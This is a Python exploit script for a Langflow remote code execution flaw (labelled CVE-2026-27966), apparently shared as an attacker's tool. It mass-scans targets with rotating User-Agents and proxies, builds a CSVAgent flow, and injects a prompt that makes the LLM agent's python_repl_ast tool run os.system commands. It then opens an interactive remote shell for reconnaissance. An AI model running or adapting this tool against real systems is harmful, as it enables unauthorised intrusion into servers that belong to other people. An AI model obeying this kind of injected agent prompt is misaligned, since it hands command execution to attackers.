README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import sys
import time
import json
import argparse
import threading
import uuid
import base64
import random
import re
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, urljoin
from datetime import datetime
# Colors
GREEN = '\033[92m'
RED = '\033[91m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
CYAN = '\033[96m'
MAGENTA = '\033[95m'
WHITE = '\033[97m'
RESET = '\033[0m'
BOLD = '\033[1m'
class AllInOneExploit:
def __init__(self, debug=False, use_proxy=False, rotate_ua=True):
self.debug = debug
self.use_proxy = use_proxy
self.rotate_ua = rotate_ua
# Koleksi User-Agent lengkap
self.user_agents = [
# Windows Chrome
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
# Windows Firefox
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0',
# Windows Edge
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0',
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0',
# macOS
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7; rv:123.0) Gecko/20100101 Firefox/123.0',
# Linux
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0',
# Mobile - iPhone
'Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1',
'Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1',
# Mobile - Android
'Mozilla/5.0 (Linux; Android 14; SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36',
'Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Mobile Safari/537.36',
]
# Proxy list
self.proxies = []
self.current_proxy = None
# Initialize session
self.session = self._create_session()
self.results = {
'scanned': 0,
'langflow': 0,
'vulnerable': 0,
'exploited': []
}
def _create_session(self):
"""Buat session baru dengan User-Agent random"""
session = requests.Session()
ua = random.choice(self.user_agents) if self.rotate_ua else self.user_agents[0]
session.headers.update({
'User-Agent': ua,
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'Connection': 'keep-alive',
'Upgrade-Insecure-Requests': '1',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
'Pragma': 'no-cache',
'Cache-Control': 'no-cache'
})
return session
def rotate_user_agent(self):
"""Ganti User-Agent untuk request berikutnya"""
if self.rotate_ua:
new_ua = random.choice(self.user_agents)
self.session.headers.update({'User-Agent': new_ua})
if self.debug:
self.log(f"Rotated UA: {new_ua[:50]}...", "info")
def load_proxies(self, proxy_file=None):
"""Load proxy dari file"""
if proxy_file:
try:
with open(proxy_file, 'r') as f:
self.proxies = [line.strip() for line in f if line.strip()]
self.log(f"Loaded {len(self.proxies)} proxies", "success")
except Exception as e:
self.log(f"Failed to load proxies: {e}", "error")
def get_proxy(self):
"""Dapatkan proxy random"""
if self.use_proxy and self.proxies:
self.current_proxy = random.choice(self.proxies)
return {'http': self.current_proxy, 'https': self.current_proxy}
return None
def print_banner(self):
banner = f"""
{CYAN}{BOLD}
██████╗██╗ ██╗███████╗ ██╗ █████╗ ███╗ ██╗ ██████╗ ███████╗██╗ ██████╗ ██╗ ██╗
██╔════╝██║ ██║██╔════╝ ██║ ██╔══██╗████╗ ██║██╔════╝ ██╔════╝██║ ██╔═══██╗██║ ██║
██║ ██║ ██║█████╗ ██║ ███████║██╔██╗ ██║██║ ███╗█████╗ ██║ ██║ ██║██║ █╗ ██║
██║ ╚██╗ ██╔╝██╔══╝ ██║ ██╔══██║██║╚██╗██║██║ ██║██╔══╝ ██║ ██║ ██║██║███╗██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗██║ ██║██║ ╚████║╚██████╔╝██║ ███████╗╚██████╔╝╚███╔███╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝
CVE-2026-27966 Langflow RCE
[ Created : Vinnzz | Anon Cyber Team ]
{RESET}
"""
print(banner)
def log(self, msg, level="info"):
timestamp = datetime.now().strftime("%H:%M:%S")
proxy_info = f" [Proxy: {self.current_proxy}]" if self.current_proxy else ""
if level == "success":
print(f"{GREEN}[{timestamp}] ✓ {msg}{proxy_info}{RESET}")
elif level == "error":
print(f"{RED}[{timestamp}] ✗ {msg}{proxy_info}{RESET}")
elif level == "warning":
print(f"{YELLOW}[{timestamp}] ⚠ {msg}{proxy_info}{RESET}")
elif level == "info":
print(f"{BLUE}[{timestamp}] ℹ {msg}{proxy_info}{RESET}")
elif level == "vuln":
print(f"{MAGENTA}{BOLD}[{timestamp}] 🔥 VULNERABLE: {msg}{proxy_info}{RESET}")
elif level == "result":
print(f"{CYAN}[{timestamp}] 📦 {msg}{proxy_info}{RESET}")
elif level == "shell":
print(f"{GREEN}[{timestamp}] 💻 {msg}{proxy_info}{RESET}")
def request(self, method, url, **kwargs):
"""Wrapper untuk request dengan rotasi dan proxy (OPTIMIZED)"""
if self.rotate_ua:
self.rotate_user_agent()
proxies = self.get_proxy() if self.use_proxy else None
if 'timeout' not in kwargs:
kwargs['timeout'] = 5 # Turunkan dari 10 ke 5
try:
if method.upper() == 'GET':
return self.session.get(url, proxies=proxies, **kwargs)
elif method.upper() == 'POST':
return self.session.post(url, proxies=proxies, **kwargs)
else:
return self.session.request(method, url, proxies=proxies, **kwargs)
except Exception as e:
if self.debug:
self.log(f"Request error: {e}", "error")
raise
def normalize_url(self, url):
url = url.strip()
if not url.startswith(('http://', 'https://')):
return f"http://{url}"
return url.rstrip('/')
def check_reachable(self, url):
"""Cek apakah target reachable"""
try:
r = self.request('GET', url, timeout=3, allow_redirects=True)
return True, r.status_code
except requests.exceptions.ConnectionError:
return False, "Connection Error"
except requests.exceptions.Timeout:
return False, "Timeout"
except Exception as e:
return False, str(e)
def verify_langflow(self, url):
"""Verifikasi apakah ini benar-benar Langflow dengan lebih akurat"""
results = {
'is_langflow': False,
'version': None,
'flows': [],
'endpoints': [],
'flow_ids': []
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
checks = [
{'url': '/', 'check': lambda r: 'langflow' in r.text.lower() or '<title>Langflow' in r.text},
{'url': '/api/v1/flows', 'check': lambda r: r.status_code == 200},
{'url': '/api/v1/version', 'check': lambda r: r.status_code == 200},
{'url': '/health', 'check': lambda r: r.status_code == 200},
{'url': '/api/flows', 'check': lambda r: r.status_code == 200},
{'url': '/docs', 'check': lambda r: 'swagger' in r.text.lower() or 'redoc' in r.text.lower()},
]
for check in checks:
try:
full_url = urljoin(url, check['url'])
r = self.request('GET', full_url, timeout=2) # Timeout kecil
if check['check'](r):
results['endpoints'].append(check['url'])
if check['url'] == '/':
results['is_langflow'] = True
# Ambil versi
if check['url'] in ['/api/v1/version', '/version'] and r.status_code == 200:
try:
version_data = r.json()
if isinstance(version_data, dict):
results['version'] = version_data.get('version') or version_data.get('Version')
except:
pass
# Ambil flow IDs
if check['url'] in ['/api/v1/flows', '/api/flows'] and r.status_code == 200:
try:
flows = r.json()
if isinstance(flows, list):
for flow in flows:
if isinstance(flow, dict) and flow.get('id'):
results['flow_ids'].append(flow.get('id'))
elif isinstance(flows, dict):
if flows.get('id'):
results['flow_ids'].append(flows.get('id'))
except:
pass
except:
continue
return results
def get_flow_id(self, url):
"""Dapatkan flow ID yang valid dengan berbagai metode (OPTIMIZED)"""
# 1. Coba dari flows yang ada
try:
r = self.request('GET', urljoin(url, '/api/v1/flows'), timeout=3)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
elif isinstance(flows, dict) and flows.get('id'):
return flows.get('id')
except:
pass
# 2. Coba endpoint alternatif (lebih sedikit)
alt_endpoints = ['/api/flows', '/flows']
for endpoint in alt_endpoints:
try:
r = self.request('GET', urljoin(url, endpoint), timeout=2)
if r.status_code == 200:
flows = r.json()
if isinstance(flows, list) and len(flows) > 0:
if flows[0].get('id'):
return flows[0].get('id')
except:
continue
# 3. Buat flow baru
return self.create_flow(url)
def create_flow(self, url):
"""Buat flow ChatInput -> CSVAgent -> ChatOutput (OPTIMIZED)"""
flow_data = {
"name": f"Exploit_{random.randint(1000,9999)}",
"description": "Test flow",
"data": {
"nodes": [
{"id": "input1", "type": "ChatInput", "data": {"node": {"name": "ChatInput"}}},
{"id": "agent1", "type": "CSVAgent", "data": {
"node": {
"name": "CSVAgent",
"params": {
"path": "/tmp/poc.csv",
"llm": {"type": "OpenAI", "params": {"model": "gpt-3.5-turbo"}}
}
}
}},
{"id": "output1", "type": "ChatOutput", "data": {"node": {"name": "ChatOutput"}}}
],
"edges": [
{"source": "input1", "target": "agent1"},
{"source": "agent1", "target": "output1"}
]
}
}
# Endpoint prioritas
create_endpoints = ['/api/v1/flows', '/api/flows', '/flows']
for endpoint in create_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Creating flow at: {full_url}", "info")
r = self.request('POST', full_url, json=flow_data, timeout=5)
if r.status_code in [200, 201, 202]:
try:
result = r.json()
flow_id = (result.get('id') or result.get('flow_id') or result.get('flowId'))
if flow_id:
self.log(f"✅ Flow created: {flow_id}", "success")
return flow_id
except:
pass
except Exception as e:
if self.debug:
self.log(f"Error: {e}", "error")
continue
return None
def clean_output(self, raw_output):
"""Bersihkan output dari JSON wrapper"""
if not raw_output:
return None
try:
if raw_output.strip().startswith('{'):
data = json.loads(raw_output)
output = None
if 'xmsg' in data:
output = data['xmsg']
elif 'result' in data:
output = data['result']
elif 'output' in data:
output = data['output']
elif 'message' in data:
output = data['message']
if output:
output = output.replace('Successfully\\n', '').replace('\\n', '\n')
output = output.replace('\\"', '"').replace("\\'", "'")
output = re.sub(r'\x1b\[[0-9;]*m', '', output)
lines = output.split('\n')
clean_lines = [line.strip() for line in lines if line.strip() and not line.startswith('{')]
if clean_lines:
return '\n'.join(clean_lines)
return output
if data.get('status') in [200, 'success', True] or data.get('success') == True:
return "[Command executed successfully]"
return f"[Response received]"
else:
return raw_output
except:
return raw_output
def execute_command(self, url, flow_id, command):
"""Eksekusi command via RCE (VERSI CEPAT - OPTIMIZED)"""
prompt = f"""Action: python_repl_ast
Action Input: __import__("os").system("{command}")
"""
# Payload utama (paling sering work)
payload = {
"input_value": prompt,
"session_id": str(uuid.uuid4()),
"tweaks": {
"CSVAgent": {
"path": "/tmp/poc.csv",
"allow_dangerous_code": True
}
}
}
# Endpoint prioritas (urutkan dari yang paling mungkin)
run_endpoints = [
f'/api/v1/run/{flow_id}',
f'/api/run/{flow_id}',
f'/run/{flow_id}',
]
# Coba endpoint utama dulu
for endpoint in run_endpoints:
try:
full_url = urljoin(url, endpoint)
if self.debug:
self.log(f"Executing at: {full_url}", "info")
r = self.request('POST', full_url, json=payload, timeout=5)
if r.status_code == 200:
cleaned = self.clean_output(r.text)
if cleaned and len(cleaned) > 0:
return cleaned
return "✓ Command executed (no output)"
elif r.status_code == 404:
continue # Endpoint tidak ada
elif self.debug:
self.log(f"Status {r.status_code} from {endpoint}", "warning")
except requests.exceptions.Timeout:
if self.debug:
self.log(f"Timeout on {endpoint}", "warning")
continue
except Exception as e:
if self.debug:
self.log(f"Error on {endpoint}: {e}", "error")
continue
# Kalau gagal, coba dengan payload alternatif (1x)
alt_payload = {
"message": prompt,
"session_id": str(uuid.uuid4())
}
try:
r = self.request('POST', urljoin(url, f'/api/v1/run/{flow_id}'),
json=alt_payload, timeout=5)
if r.status_code == 200:
return self.clean_output(r.text)
except:
pass
return None
def scan_target(self, target):
"""Scan single target"""
target = self.normalize_url(target)
self.results['scanned'] += 1
self.log(f"Scanning: {target}", "info")
reachable, status = self.check_reachable(target)
if not reachable:
self.log(f"Target unreachable: {target} ({status})", "error")
return None
langflow_info = self.verify_langflow(target)
if langflow_info['is_langflow']:
self.results['langflow'] += 1
self.log(f"✅ Langflow detected: {target}", "success")
if langflow_info.get('version'):
self.log(f"📌 Version: {langflow_info['version']}", "info")
flow_id = langflow_info['flow_ids'][0] if langflow_info['flow_ids'] else self.get_flow_id(target)
if flow_id:
self.log(f"📋 Using Flow ID: {flow_id}", "result")
test_cmd = "echo 'VULN_TEST'"
result = self.execute_command(target, flow_id, test_cmd)
if result:
if 'VULN_TEST' in result:
self.results['vulnerable'] += 1
self.log(f"🔥 TARGET VULNERABLE: {target}", "vuln")
return {
'url': target,
'flow_id': flow_id,
'vulnerable': True,
'version': langflow_info.get('version')
}
else:
self.log(f"⚠ Target mungkin patched", "warning")
else:
self.log(f"⚠ Command execution failed", "warning")
else:
self.log(f"⚠ No flow ID available", "warning")
else:
self.log(f"❌ Not Langflow: {target}", "error")
return None
def scan_from_file(self, filename, threads=20):
"""Scan multiple targets from file"""
try:
with open(filename, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
self.log(f"File not found: {filename}", "error")
return []
self.log(f"Loaded {len(targets)} targets", "info")
vulnerable_targets = []
with ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(self.scan_target, target): target for target in targets}
for future in as_completed(futures):
try:
result = future.result()
if result and result.get('vulnerable'):
vulnerable_targets.append(result)
except Exception as e:
if self.debug:
self.log(f"Error: {e}", "error")
return vulnerable_targets
def interactive_shell(self, target_url, flow_id):
"""Interactive shell dengan tampilan bersih"""
self.log(f"🎯 Interactive shell on {target_url}", "shell")
self.log("Type 'exit' to quit, 'help' for commands", "info")
# Info singkat
info = self.execute_command(target_url, flow_id, "id && hostname && pwd")
if info:
print(f"\n{GREEN}{info}{RESET}\n")
while True:
try:
cmd = input(f"{BOLD}{CYAN}shell> {RESET}").strip()
if not cmd:
continue
if cmd.lower() in ['exit', 'quit']:
self.log("Exiting shell", "info")
break
elif cmd.lower() == 'help':
print(f"""
{YELLOW}Available Commands:{RESET}
ls [dir] - List directory
cat [file] - Read file
pwd - Print working directory
id - User info
uname -a - System info
ps aux - Process list
ifconfig - Network interfaces
systeminfo - Full system info
clear - Clear screen
exit/quit - Exit shell
help - Show this help
""")
elif cmd.lower() == 'clear':
print('\033c', end='')
elif cmd.lower() == 'systeminfo':
commands = [
"uname -a",
"cat /etc/os-release",
"id",
"hostname",
"ifconfig || ip addr",
"free -h",
"df -h",
"uptime"
]
for c in commands:
print(f"\n{GREEN}$ {c}{RESET}")
result = self.execute_command(target_url, flow_id, c)
if result:
print(result)
else:
result = self.execute_command(target_url, flow_id, cmd)
if result:
print(result)
else:
print(f"{RED}Command failed{RESET}")
except KeyboardInterrupt:
print(f"\n{YELLOW}Use 'exit' to quit{RESET}")
except Exception as e:
print(f"{RED}Error: {e}{RESET}")
def print_summary(self):
"""Print scan summary"""
print(f"\n{BLUE}{'='*60}{RESET}")
print(f"{BOLD}SCAN SUMMARY{RESET}")
print(f"{BLUE}{'='*60}{RESET}")
print(f"Total targets scanned: {self.results['scanned']}")
print(f"Langflow detected : {self.results['langflow']}")
print(f"Vulnerable found : {GREEN}{self.results['vulnerable']}{RESET}")
if self.results['vulnerable'] > 0:
print(f"\n{BOLD}VULNERABLE TARGETS:{RESET}")
for i, target in enumerate(self.results['exploited'], 1):
print(f" {GREEN}{i}. {target['url']}{RESET}")
if target.get('version'):
print(f" {CYAN}Version: {target['version']}{RESET}")
print(f" {CYAN}Flow ID: {target['flow_id']}{RESET}")
print(f"{BLUE}{'='*60}{RESET}")
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-27966 Langflow RCE - All in One Tool',
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument('-t', '--target', help='Single target URL/IP')
parser.add_argument('-f', '--file', help='File with targets (one per line)')
parser.add_argument('-c', '--command', help='Execute single command')
parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell')
parser.add_argument('--scan-only', action='store_true', help='Only scan, dont exploit')
parser.add_argument('-T', '--threads', type=int, default=20, help='Threads for scanning')
parser.add_argument('-o', '--output', help='Save vulnerable targets to file')
parser.add_argument('-d', '--debug', action='store_true', help='Debug mode')
parser.add_argument('--rotate-ua', action='store_true', default=True, help='Rotate User-Agent')
parser.add_argument('--no-rotate', action='store_true', help='Disable User-Agent rotation')
parser.add_argument('--proxy', help='Use proxy (format: http://proxy:port)')
parser.add_argument('--proxy-file', help='File with list of proxies')
args = parser.parse_args()
if not args.target and not args.file:
parser.print_help()
print(f"\n{RED}Error: Need -t (target) or -f (file){RESET}")
sys.exit(1)
rotate_ua = not args.no_rotate if args.no_rotate else args.rotate_ua
tool = AllInOneExploit(debug=args.debug, use_proxy=bool(args.proxy or args.proxy_file), rotate_ua=rotate_ua)
if args.proxy:
tool.proxies = [args.proxy]
tool.log(f"Using proxy: {args.proxy}", "info")
elif args.proxy_file:
tool.load_proxies(args.proxy_file)
tool.print_banner()
vulnerable = []
if args.file:
tool.log(f"Starting mass scan from {args.file}", "info")
vulnerable = tool.scan_from_file(args.file, args.threads)
tool.results['exploited'] = vulnerable
if args.output and vulnerable:
with open(args.output, 'w') as f:
for v in vulnerable:
f.write(f"{v['url']}\n")
tool.log(f"Saved vulnerable targets to {args.output}", "success")
elif args.target:
result = tool.scan_target(args.target)
if result:
vulnerable = [result]
tool.results['exploited'] = [result]
tool.print_summary()
if vulnerable and not args.scan_only:
vulnerable = [v for v in vulnerable if v.get('vulnerable')]
if not vulnerable:
tool.log("No vulnerable targets found", "warning")
sys.exit(0)
if args.command:
target = vulnerable[0]
tool.log(f"Executing command on {target['url']}", "info")
result = tool.execute_command(target['url'], target['flow_id'], args.command)
if result:
print(f"\n{GREEN}Output:{RESET}\n{result}")
elif args.interactive:
target = vulnerable[0]
tool.interactive_shell(target['url'], target['flow_id'])
elif len(vulnerable) == 1:
target = vulnerable[0]
print(f"\n{YELLOW}Target is VULNERABLE! What do you want to do?{RESET}")
print("1. Execute single command")
print("2. Interactive shell")
print("3. Exit")
choice = input(f"\n{BOLD}Choice (1-3): {RESET}").strip()
if choice == '1':
cmd = input("Command: ").strip()
result = tool.execute_command(target['url'], target['flow_id'], cmd)
if result:
print(f"\n{GREEN}Output:{RESET}\n{result}")
elif choice == '2':
tool.interactive_shell(target['url'], target['flow_id'])
if __name__ == "__main__":
main()